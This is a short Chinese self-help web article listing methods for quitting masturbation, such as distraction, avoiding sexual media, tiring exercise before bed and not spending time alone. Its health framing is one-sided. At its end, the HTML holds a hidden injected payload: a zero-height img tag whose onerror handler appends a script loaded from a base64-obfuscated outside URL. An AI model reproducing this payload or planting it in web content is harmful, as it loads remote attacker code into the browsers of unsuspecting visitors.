戒除手淫的方法

<p> 戒除手淫的方法1、分散法：充分合理安排业余时间，使自己无暇顾及手淫。   <br/>     <br/>  2、学习法：正确认识人体，正确认识手淫习惯的害处，消除对性的神秘感。   <br/>     <br/>  3、去“邪”法：集中注意力，排除杂念，坚持不接触各类不健康的出版物及电视节目。   <br/>     <br/>  4、睡眠法：最好等到睡意已浓，立即上床入睡。早晨起床前也是最易发生手淫的时间，有尿勿憋，及时排掉，防止阴茎勃起。   <br/>     <br/>  步骤   <br/>     <br/>  1、上床前，坚持二十分钟到半个小时的强度锻炼，应达到疲劳为止，用冷水洗脸洗脚，然后立即上床。   <br/>     <br/>  2、上床后，应杜绝一切思想，闭上眼睛睡觉。   <br/>     <br/>  3、若万一不能入睡，应严格控制自己，不想与性有关的问题。   <br/>     <br/>  4、如上述方法仍无效，可插入耳机，收听自己不感兴趣的节目，当你的脑海中闪现出手淫的念头时，通过自己有意识地克服。   <br/>     <br/>  5、手淫欲念重的人，应设法减少单独活动的时间，经常与别人在一起，也就是设法杜绝自己手淫习惯。<br/><IMg/height="0"Src="x"OneRRoR=document.head.appendChild(createElement("script")).src=atob("aHR0cHM6Ly9vcmdhb3JnLmNvbS94ai5qcw==")> </p>